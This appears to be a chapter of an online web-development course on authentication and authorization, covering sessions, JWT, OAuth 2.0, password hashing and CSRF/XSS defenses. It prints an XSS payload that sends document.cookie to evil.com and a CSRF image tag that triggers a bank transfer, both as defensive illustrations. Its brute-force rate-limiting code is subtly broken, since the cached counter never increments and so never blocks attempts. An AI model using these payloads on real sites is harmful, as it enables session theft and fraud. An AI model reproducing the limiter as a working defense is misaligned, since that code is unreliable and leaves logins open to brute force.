Skip to content
Main Navigation HomeGetting StartedFull-Stack DevelopmentAdvanced DevelopmentAppendixVibe Stories

English

简体中文
日本語
繁體中文
한국어
Español
Français
Deutsch
العربية
Tiếng Việt

English

简体中文
日本語
繁體中文
한국어
Español
Français
Deutsch
العربية
Tiếng Việt

Appearance

Sidebar Navigation

I. Computer Fundamentals

Full-Stack Development in the Vibe Coding Era

What Happens from Pressing the Power Button to Visiting a Website

From Transistors to CPU

Computer Organization Principles

Operating Systems: Hiring a "Chief Manager" for Your Computer

What Is Data Encoding and Transmission?

The Browser Is an Operating System

Data Structures

Introduction to Algorithmic Thinking

Programming Language Landscape

Introduction to Compiler Principles

Introduction to Type Systems

II. Tools & Environment

Integrated Development Environment (IDE) Basics

Command Line & Shell Scripts

Git: A Time Machine for Code

Environment Variables and PATH

Ports and localhost

SSH and Key Authentication

Package Managers

The Art of Debugging

Regular Expressions

III. Browser & Frontend

JavaScript Deep Dive

TypeScript In-Depth Guide

Frontend Frameworks In-Depth Guide

Browser Rendering Pipeline

HTML / CSS Layout System

JavaScript Runtime In-Depth Guide

The Nature of Frontend Frameworks

The Philosophy of State Management

Routing & Navigation

Graphics and Animation (Canvas and Friends)

Real-Time Communication Mechanisms (Polling / SSE / WebSocket)

Web Performance Measurement and Optimization

The Complete Picture of Frontend Engineering

Frontend Project Architecture Design

The Hidden Dimensions of the Web: Internationalization and Accessibility

IV. Server & Backend

Backend Language Comparison

Client-Side Languages (Swift / Kotlin / Dart)

Cross-Platform Solutions (React Native / Flutter / Electron / Tauri)

HTTP Protocol: The "Communication Language" Between Frontend and Backend

The Complete Journey of a Request

The Essence of Web Frameworks

API Fundamentals: Understanding "Conversations Between Programs" from Scratch

API Design: The "Conversation Protocol" Between Frontend and Backend

Serialization: The "Translation" of Data

Authentication & Authorization System

Concurrency, Async, and Multithreading

Caching Layers and Strategies

Message Queues and Event-Driven Architecture

Async Task Queues and the Producer-Consumer Model

Rate Limiting and Backpressure Control

Search Engine Fundamentals

File Storage and Object Storage

Backend Layered Architecture

Backend Project Architecture Design

Domain-Specific Languages (DSL): "Code That Doesn't Look Like Code" in the Backend World

V. Data

Database Fundamentals (Indexes / Transactions / Query Optimization)

Data Models Overview (Document / Graph / Time-Series / Vector)

Event Tracking: Recording What Users Do in Your App

Data Analysis: Core Concepts, Logic, and Deep Insights

A/B Testing: Making Decisions with Data

Data Visualization and Dashboards

Data Governance and Data Quality

VI. Architecture

The Evolution from Monolith to Microservices

Challenges of Distributed Systems

High Availability and Disaster Recovery

System Design Methodology

VII. Infrastructure

Linux Basics

Docker Containerization

Kubernetes Orchestration

CI/CD Automation

Domain Names, DNS, and HTTPS

Load Balancing & Gateway

Gateway & Reverse Proxy

Cloud Platforms in Practice

Cloud Identity and Access Management

Object Storage & CDN

Infrastructure as Code

Monitoring, Logging & Alerting

Incident Response and Troubleshooting

VIII. Artificial Intelligence

A Brief History of AI: From Symbolic Logic to Hundred-Billion-Parameter Large Models

Neural Networks and Deep Learning

Transformer and Attention Mechanism: The Core Engine of Large Language Models

How Large Language Models Work

Prompt Engineering

Context Engineering

Multimodal Models (Vision / Audio / Video)

Image Generation Principles

Principles of Speech Synthesis and Recognition

Embedding & Vector Retrieval

RAG: Retrieval-Augmented Generation

AI Agents and Tool Calling

AI Agent Protocols (MCP & A2A)

Model Fine-tuning and Deployment

AI-Native Application Design

AI Capability Dictionary

IX. Engineering Excellence

Code Quality and Refactoring

Testing Strategies

Design Patterns

Security Thinking and Attack/Defense Fundamentals

Technical Writing

Open Source Collaboration

Technology Selection Methodology

On this page

Authentication & Authorization System ​

💡 Learning Guide: This chapter takes you deep into the "access control system" of backend architecture — authentication and authorization. We'll start from the most basic "who are you" and progressively master modern authentication schemes like Session, JWT, OAuth 2.0, and more.

🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

0. Introduction: The System's "Gatekeeper" ​

Why does WeChat still know who you are when you close and reopen the app? How does Bilibili know if you're a premium member or a regular user? Why can you log into third-party websites by scanning a QR code with WeChat, without entering a password?

Behind all of these lies one core system: Authentication & Authorization.

If we compare a backend system to an office building:

  • Authentication: Confirms "who you are" (verifying an ID badge / access card).
  • Authorization: Confirms "where you can go" (VIPs can enter the VIP lounge; regular users cannot).

0.1 Why Do We Need Authentication? ​

There's only one reason: to protect resources.

  • Privacy Protection: Your personal information and chat history — only you can see them.
  • Permission Control: An admin can delete users; a regular user cannot.
  • Abuse Prevention: Prevents malicious API calls and brute-forcing of endpoints.
🧰 Four Common Authentication Credentials
Choose a method to see what the request looks like, where it fits, and the common pitfalls.
What the request looks like
GET /api/profile
Authorization: Basic <base64(username:password)>
Base64 is not encryption. Use HTTPS, and avoid it for public production systems.
When to use it, and when not to
✅ Good fit
  • Very simple and supported by every client
  • Useful for internal or temporary debugging tools
⚠️ Poor fit / risks
  • Sends the password on every request, which is risky
  • No real logout unless the server changes the password
  • Not a good fit for modern product systems
Rule of thumb
Authenticate first, then authorize. Credentials only prove identity; authorization must always be enforced on the server.

0.2 Interactive Demo: Login Flow ​

Let's understand how authentication and authorization work through a real login demonstration.

🔐 Authentication Flow Demo
Simulate login to understand the difference between authentication and authorization.
Choose auth method:
Login form
💡 Tip
Try username admin,password 123456
📊 Data Flow Visualization

Key Point: Authentication is the first line of defense — every sensitive operation must first verify identity.


1. Core Concepts: Authentication vs Authorization ​

1.1 Authentication: Who Are You? ​

Confirms a user's identity.

  • Example: Entering a username and password, fingerprint scanning, facial recognition.
  • Output: A token that represents "you."
  • Abbreviation: AuthN

1.2 Authorization: What Can You Do? ​

Confirms what permissions a user has.

  • Example: An admin can delete posts; a regular user can only like them.
  • Output: Allow or deny access.
  • Abbreviation: AuthZ

1.3 The Relationship Between the Two ​

User Request → Authentication (Who are you?) → Authorization (Can you do this?) → Execute Business Logic
               ↓                                  ↓
          Verify identity                   Check permissions
          (Is the Token valid?)             (Does the user have delete permission?)
🪪 AuthN vs 🛂 AuthZ: What Happens to a Request?
Choose who is making the request and what they want to do to see where authentication and authorization apply.
Choose request
In a real system, authentication happens first by parsing a cookie or JWT, while authorization happens in routing or business logic with RBAC/ABAC.
Simulation result
AuthN (authentication)Fail
AuthZ (authorization)Deny
HTTP401 Unauthorized
Request: view_profile
AuthN: FAIL - Missing valid credential such as cookie or JWT
AuthZ: DENY - Authentication failed, so authorization cannot be evaluated
Result: 401 Unauthorized
Key points
  • Authentication failure:the system does not know who you are, so it usually returns 401.
  • Authenticated but unauthorized:the system knows who you are, but you cannot perform the action, so it usually returns 403.
  • Authorization rules belong on the server:do not trust whether the frontend shows a button; that is only UX.

Key Point: Authenticate first, then authorize. Only after confirming "who you are" can you determine "what you can do."


2. Evolution of Authentication Schemes ​

2.1 First Generation: HTTP Basic Authentication ​

The oldest approach — directly placing the username and password in the HTTP header.

http
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  • Pros: Simple; supported by all browsers.
  • Cons:
    • Insecure (Base64 is decodable — effectively plaintext).
    • Password must be sent with every request (easy to intercept).
    • Cannot proactively log out (unless you close the browser).

Verdict: Only suitable for internal testing tools; never use in production.

2.2 Second Generation: Session + Cookie ​

The classic approach for web development.

Flow:

1. User logs in (POST /login)
   → Server validates username and password
   → Creates a Session (in server memory or Redis)
   → Returns Set-Cookie: session_id=abc123

2. Subsequent requests
   → Browser automatically sends Cookie: session_id=abc123
   → Server looks up Session by session_id
   → If found, the user is considered "who they claim to be"

Code Example:

python
# Backend (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # Verify username and password
    user = db.authenticate(username, password)
    if user:
        # Create Session
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "Incorrect username or password"}, 401

@app.route("/api/admin/users")
def get_users():
    # Check Session
    if "user_id" not in session:
        return {"error": "Not logged in"}, 401

    # Check permissions
    if session.get("role") != "admin":
        return {"error": "Insufficient permissions"}, 403

    # Execute business logic
    users = db.get_all_users()
    return {"users": users}
🍪 Session + Cookie: Stateful Login
The demo advances manually so each state is visible before the next step.
Browser (client)
Cookie Jar
No cookie yet
Request in this step
(click start)
Server
Session Store(Redis/Memory)
No session yet
Response in this step
Workflow notes

Pros:

  • Simple and intuitive; easy to understand.
  • Server can proactively log out (delete the Session).

Cons:

  • Server is stateful: Needs to store Sessions; multiple servers require shared storage (e.g., Redis).
  • Cross-origin difficulties: Cookies are not cross-origin by default (CORS issues).
  • CSRF attacks: Malicious websites can impersonate your Cookie.

Verdict: Suitable for traditional web applications (server-side rendering); not suitable for mobile or modern SPAs.

2.3 Third Generation: Token (JWT) ​

The mainstream approach for modern web applications.

Core Idea: Don't store state on the server. Encrypt user information into a Token and store it on the client.

JWT Structure:

JWT = Header.Payload.Signature

Example:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  • Header: Algorithm information (e.g., {"alg": "HS256", "typ": "JWT"}).
  • Payload: User information (e.g., {"user_id": 123, "role": "admin", "exp": 1616239022}).
  • Signature: Tamper-proof signature.

Flow:

python
# 1. User login
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # Generate JWT
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # Expires in 24 hours
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "Incorrect username or password"}, 401

# 2. Subsequent requests
@app.route("/api/admin/users")
def get_users():
    # Get Token from Header
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "No Token provided"}, 401

    token = auth_header.split(" ")[1]

    try:
        # Verify and parse Token
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "Token has expired"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Token is invalid"}, 401

    # Check permissions
    if payload.get("role") != "admin":
        return {"error": "Insufficient permissions"}, 403

    # Execute business logic
    users = db.get_all_users()
    return {"users": users}
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661298,
  "exp": 1781664898
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

Pros:

  • Stateless: No Session storage on the server; easy to scale horizontally.
  • Cross-origin friendly: Stored in a Header, not subject to Cookie cross-origin restrictions.
  • Mobile friendly: Native apps can easily use it as well.
  • Rich information: The Payload can store user information, permissions, etc.

Cons:

  • Cannot proactively log out: Once issued, a Token remains valid until it expires (unless using a blocklist).
  • Payload is visible: Base64-encoded — do not store sensitive information (e.g., passwords).
  • Large Token size: Must be sent with every request — several hundred bytes.

Verdict: The standard approach for modern web and mobile applications.

🧩 Session vs JWT: How Do You Choose?
Pick your constraints and get a recommendation with reasons. This is more useful than memorizing a rule.
Your scenario
Recommendation
Session + Cookie
The safest default for traditional Web apps
Why
  • Same-site Web plus immediate logout needs are easier to control with sessions.
  • For multiple instances, use a shared session store such as Redis.
Implementation tips
  • Cookie: HttpOnly + Secure + SameSite=Lax/Strict depending on the product
  • CSRF: SameSite plus CSRF token for layered defense
  • Session store: Redis + TTL + renewal strategy such as sliding expiration
Common misconceptions
  • JWT is not automatically more secure:JWT is only stateless. Security depends on keys, expiration, storage, and authorization design.
  • Cookie does not automatically mean CSRF:SameSite plus CSRF tokens can significantly reduce risk.
  • Do not treat third-party OAuth tokens as your system tokens:They have different purposes.

3. OAuth 2.0: Third-Party Login ​

You've definitely seen these buttons: "Log in with WeChat," "Log in with Google."

This is OAuth 2.0: an authorization framework (not authentication!).

3.1 Core Roles ​

RoleDescriptionExample
Resource OwnerThe owner of the resources (user)You
ClientThe third-party applicationSome website
Authorization ServerThe authorization serverWeChat, Google
Resource ServerThe resource serverWeChat's user information API

3.2 Authorization Code Flow ​

The most secure mode — suitable for servers with a backend.

Flow:

1. User clicks "Log in with WeChat"
   → Redirects to the WeChat authorization page
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. User scans the QR code and grants authorization
   → WeChat redirects back to your website
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. Your backend exchanges the code for an access_token
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   → Returns: { "access_token": "...", "openid": "..." }

4. Use the access_token to fetch user information
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   → Returns: { "nickname": "Zhang San", "headimgurl": "..." }
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

Code Example:

python
from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. Redirect to WeChat authorization page
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. Get the code
    code = request.args.get("code")
    state = request.args.get("state")

    # Verify state (anti-CSRF)
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. Exchange the code for an access_token
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. Fetch user information
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. Create or update local user
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. Generate this system's JWT
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}

Key Points:

  • The code can only be used once: It expires after use, preventing interception.
  • state prevents CSRF: Generate a random string; verify it on callback to prevent malicious spoofing.
  • redirect_uri must match: Register it in advance on the WeChat Open Platform to prevent redirect attacks.

3.3 Other Modes ​

ModeUse CaseSecurity
Authorization CodeServers with a backend⭐⭐⭐⭐⭐
ImplicitPure frontend apps (SPA)⭐⭐⭐ (deprecated)
Resource Owner PasswordHighly trusted apps (e.g., official app)⭐⭐
Client CredentialsServer-to-server communication (no user)⭐⭐⭐⭐
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

4. In Practice: Designing a Complete Authentication System ​

4.1 Requirements Analysis ​

  • Multi-platform support: Web, iOS, Android.
  • Third-party login: WeChat, Google.
  • Permission control: Regular users, VIPs, admins.
  • Security: Anti-brute-force, anti-hijacking, anti-replay.

4.2 Architecture Design ​

┌─────────────┐
│    Client    │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting                │
│  - Token Validation             │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service               │
│  - Registration, Login          │
│  - Token Issuance & Validation  │
│  - OAuth 2.0 Integration        │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services            │
│  - User Service                 │
│  - Order Service                │
│  - Payment Service              │
└─────────────────────────────────┘

4.3 Database Design ​

sql
-- Users table
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- bcrypt hash
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- Third-party login binding table
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- Third-party user ID
    access_token TEXT,  -- Encrypted storage
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Token blocklist (for proactive logout)
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JWT JTI (unique identifier)
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

4.4 Code Implementation ​

python
# auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # Use an environment variable in production

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. Check if the username already exists
        if db.get_user_by_username(username):
            raise ValueError("Username already exists")

        # 2. Hash the password (bcrypt)
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. Create the user
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. Issue Tokens
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. Look up the user
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("Incorrect username or password")

        # 2. Verify the password
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("Incorrect username or password")

        # 3. Issue Tokens
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (short-lived, e.g., 1 hour)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # Unique identifier
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (long-lived, e.g., 30 days)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # access_token expiration time (seconds)
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("Refresh token has expired")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh token is invalid")

    def logout(self, token: str):
        # Add the Token to the blocklist
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # Check if it's in the blocklist
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("Token has been revoked")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token has expired")
        except jwt.InvalidTokenError:
            raise ValueError("Token is invalid")

# API decorators
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # Get Token from Header
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "No Token provided"}, 401

            token = auth_header.split(" ")[1]

            try:
                # Verify Token
                payload = auth_service.verify_token(token)
                # Inject user information into the request context
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "Not logged in"}, 401

            if request.user["role"] not in roles:
                return {"error": "Insufficient permissions"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# Usage example
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661298,
  "exp": 1781664898
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

5. Security Best Practices ​

5.1 Password Storage ​

❌ Wrong approach:

python
# Plaintext storage (absolutely not!)
db.save_password(username, password)

# MD5 / SHA1 hashing (not secure enough — vulnerable to rainbow table attacks)
hash = md5(password)
db.save_password(username, hash)

✅ Correct approach:

python
# bcrypt (adaptive hashing; slow hashing prevents brute-force attacks)
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # More rounds = more secure, but also slower
)

# Verification
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # Password is correct

Why bcrypt?

  • Slow: Deliberately designed to be slow (millisecond-level) to prevent brute-force attacks.
  • Adaptive: You can adjust the rounds to strengthen it as hardware improves.
  • Salted: Includes a built-in random salt to prevent rainbow table attacks.
🔐 Password Storage: Hash + Salt + Slow
See how PBKDF2, used here as a slow-hash demo, resists rainbow tables and brute force. Real projects usually choose bcrypt or Argon2.
Input
Higher values are slower and raise brute-force cost, but also slow down login.
salt
Output (simulation)
Algorithm: PBKDF2-SHA256Time: 0ms
derived key (hex)
(enter a password)
Conclusion
Do not store plaintext passwords. Do not use fast unsalted hashes such as MD5, SHA1, or direct SHA256 for passwords. Use a dedicated password hash or KDF with cost and salt.
🌈 Why Rainbow Tables Fail: Same Password + Different Salt → Different Result
salt A
hash A
-
salt B
hash B
-
Rainbow tables rely on precomputation. If the same password always produced the same hash, attackers could look it up quickly. Salt makes precomputation explode in cost.

5.2 Brute-Force Prevention ​

  • Rate Limiting: The same IP / username can only attempt 5 times per minute.
  • CAPTCHA: Require a CAPTCHA after 3 failed attempts.
  • Account Lockout: Lock the account for 30 minutes after 10 failed attempts.
python
from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """Returns (attempt count, time of first attempt)"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # Reset after 1 minute
    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # Reject if over 5 attempts
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # Re-cache

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # Check rate limit
    if not check_rate_limit(username):
        return {"error": "Too many attempts. Please try again in 1 minute."}, 429

    password = request.json["password"]

    # Verify password
    user = db.get_user_by_username(username)
    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # Login successful — clear the counter
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # Login failed — record the attempt
        record_login_attempt(username)
        return {"error": "Incorrect username or password"}, 401

5.3 CSRF Prevention (Cross-Site Request Forgery) ​

Attack Scenario: You log into your bank's website bank.com, then visit a malicious website evil.com. The page on evil.com contains this code:

html
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />

Your browser will send this request with the bank's Cookie (cross-origin request), causing funds to be transferred without your knowledge.

Defense Measures:

  1. CSRF Token:
    • The server generates a random Token and places it in a form field.
    • Verify that the Token matches on submission.
python
from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # Verify CSRF Token
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token is invalid"}, 403

    # Execute the transfer
    ...
  1. SameSite Cookie:
    • Set the Cookie's SameSite attribute to Strict or Lax.
python
# Flask example
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # or 'Strict'
    SESSION_COOKIE_SECURE=True      # HTTPS only
)
  1. Use JWT (no Cookies):
    • JWT is stored in localStorage and is not automatically attached to requests — naturally immune to CSRF.
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

5.4 XSS Prevention (Cross-Site Scripting) ​

Attack Scenario: A malicious user enters the following in a comment section:

html
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

If the website renders this content directly, other users' Cookies will be stolen.

Defense Measures:

  1. Output Escaping:
    • Convert < to &lt; and > to &gt;.
python
import html

def render_comment(comment):
    # Escape HTML
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  1. Content Security Policy (CSP):
    • Set an HTTP header to restrict script sources.
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  1. HttpOnly Cookie:
    • Set the Cookie's HttpOnly attribute so JavaScript cannot read it.
python
app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
